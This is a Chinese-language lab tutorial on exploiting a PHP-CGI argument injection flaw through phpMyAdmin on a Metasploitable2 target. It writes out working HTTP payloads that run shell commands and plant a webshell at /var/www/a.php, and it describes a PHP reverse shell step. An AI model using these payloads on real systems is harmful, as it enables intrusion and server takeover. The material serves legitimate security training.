本日要演示的phpMyAdmin漏洞便是通过在URL地址编辑或者定制发送的指令,使其实行一个PHP页面。在安装比较旧版本phpMyAdmin的时候都采取默认配置,都会存在这个漏洞。
环境准备靶机:Metasploitable2
攻击机:Kali
上面两个的安装我就不展开了,网上都有详细的教程,而且也非常大略。
漏洞判断正常流程实在是扫描到目标机器安装了phpMyAdmin,然后我们确认其版本,并确认是否存在预期漏洞。我们准备的靶机Metasploitable2便是安装了这个软件并存在这个漏洞的,这里不演示前期扫描的动作了,感兴趣可以翻一下我以前发的做事扫描的帖子。
判断靶机中的phpMyAdmin是存在漏洞的依据,紧张是在浏览器上访问目标机器的这个地址:
判断靶机是否存在漏洞
192.168.188.129是靶机ip,只要访问这个地址成功,并显示这个页面,就解释这个phpMyAdmin有我们预期的漏洞。
漏洞-初步利用这个漏洞的利用办法实在很大略,在kali打开burpsuite,切换到Repeater模块,然后将攻击目标改成靶机的ip和phpMyAdmin的端口:
然后在request中输入以下要求内容:
POST http://192.168.1.175/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1Host:192.168.1.103Content-Length: 35<?phppassthru('pwd');die();?>
轻微做以下阐明,地址后面用?拼接一长串的浸染是对PHP的主配置文件.ini进行修正;allow_url_include是让要求能够对做事器上的其它文件进行引用;auto_prepend_file表示附加文件;passthru('pwd')作为参数的字符串便是系统操作指令,在linux可以说是terminal命令;die()表示实行到这里就结束,如果不加die(),会返回很多没用的代码。
点击左上角的send按钮,就能将要求发送给靶机,靶机会将要求中第6行passthru()方法里的命令实行结果返回给客户端:
能实行系统指令,当然就可以向靶机写入文件,而能写入就能做很多操作了,比如提权、植入病毒、盗密码等等。
漏洞-写入webshell写入webshell,直接用下面的内容作为要求:
POST http://192.168.1.175/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1Host:192.168.1.103Content-Length: 100<?phppassthru('echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/a.php');die();?>
实行后收到的报文中看不出有没有成功:
实行写入webshell的要求
可以在实行一些ls查看是否写入成功:
检讨写入的文件是否天生
还可以检讨以下文件的内容是不是我们写入的:
检讨文件内容
确认无误后,就可以利用这个webshell了,直接用浏览器访问,并将须要实行的命令通过地址拼接传入,例如调用cmd实行命令:
利用webshell
漏洞-传入一个PHP反弹shell先阐明一下什么是php反弹shell,便是植入这个php反弹shell后,被植入的机器会主动连接指定机器的指定端口,这样这台被访问的机器就能获取发起连接要求机器的掌握权了。
kali里面有现成的php反弹shell,位置在/usr/share/webshells/php:
php反弹shell
对php文件中的目标机器和端口进行修正:
修正ip和端口
在填入ip这个机器开启指定端口的监听:
开启监听
将修正过后的内容都通过要求发送给目标主机:
发送php反弹shell
不会有要求结果返回,但是在监听的窗口可以看到收到了连接,拿到了shell:
监听窗口
可以看到在这个连接中实行命令是有效的。